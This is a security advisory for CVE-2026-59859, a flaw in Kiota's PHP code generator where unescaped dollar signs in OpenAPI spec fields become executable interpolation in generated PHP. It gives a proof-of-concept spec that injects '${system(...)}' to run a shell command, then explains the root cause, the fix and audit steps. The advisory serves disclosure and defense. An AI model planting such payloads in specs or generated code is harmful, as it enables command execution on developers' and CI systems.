highCVE-2026-59859Jul 24, 2026

CVE-2026-59859: Microsoft.OpenApi.Kiota PHP Code Generation Literal Injection

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Kiota's PHP code generator copies raw strings from an OpenAPI spec directly into double-quoted PHP string literals without escaping the dollar sign, so an attacker who controls the spec can inject…

PackageMicrosoft.OpenApi.Kiota
Ecosystemnuget
Affected< 1.32.4
Fixed in1.32.4
CVE-2026-59859: Microsoft.OpenApi.Kiota PHP Code Generation Literal Injection

The problem

The Kiota PHP writer emits schema-derived strings (descriptions, default values, property wire names) inside PHP double-quoted string literals. PHP evaluates $var, ${expr}, and {$obj->prop} inside double-quoted strings at runtime.

An attacker who controls an OpenAPI spec file can place a crafted $-prefixed expression in any of those fields. When a developer (or CI/CD pipeline) runs Kiota to regenerate the PHP client, the injected expression lands verbatim in the generated .php file and executes on the next request.

Proof of concept

A working proof-of-concept for CVE-2026-59859 in Microsoft.OpenApi.Kiota, with the exact payload below.

yaml
# Malicious OpenAPI spec
openapi: 3.0.1
info:
  title: Inject Demo
  version: 1.0.0
components:
  schemas:
    User:
      type: object
      properties:
        display_name:
          type: string
          description: "Friendly name"
          default: "${system('id > /tmp/pwned')}"

# What Kiota < 1.32.4 emits in the generated PHP model:
public function __construct() {
    $this->display_name = "${system('id > /tmp/pwned')}";
}
# PHP evaluates the double-quoted literal at runtime,
# executing system('id > /tmp/pwned') immediately.

The root cause is in Writers/StringExtensions.cs: the shared SanitizeDoubleQuote() helper escapes backslashes and double-quote characters but does not escape the $ character. Every schema-derived string that flows through this helper and is then written into a PHP double-quoted literal preserves $-prefixed interpolation constructs verbatim.

PR #7863 (commit 5e2a211) fixes this by adding $ to the set of characters that SanitizeDoubleQuote() backslash-escapes, so $var becomes \$var in the emitted PHP source and PHP treats it as a literal dollar sign instead of a variable reference. This is the same class of injection previously fixed for the Ruby generator (PR #7746, which escaped # interpolation markers); the PHP variant was a missed sibling case in the same helper.

The fix

Upgrade Microsoft.OpenApi.Kiota (NuGet) to **1.32.4** or later and regenerate all PHP clients. Regeneration is required because previously generated files still contain the unescaped literals. Until upgrade is possible, audit generated PHP files for double-quoted strings containing ${, $var, or {$ patterns, and manually replace $ with \$ in any string that originated from an OpenAPI field.

Reported by Thanatos Tian (PolyU).

References: [1][2][3][4][5][6]

Related research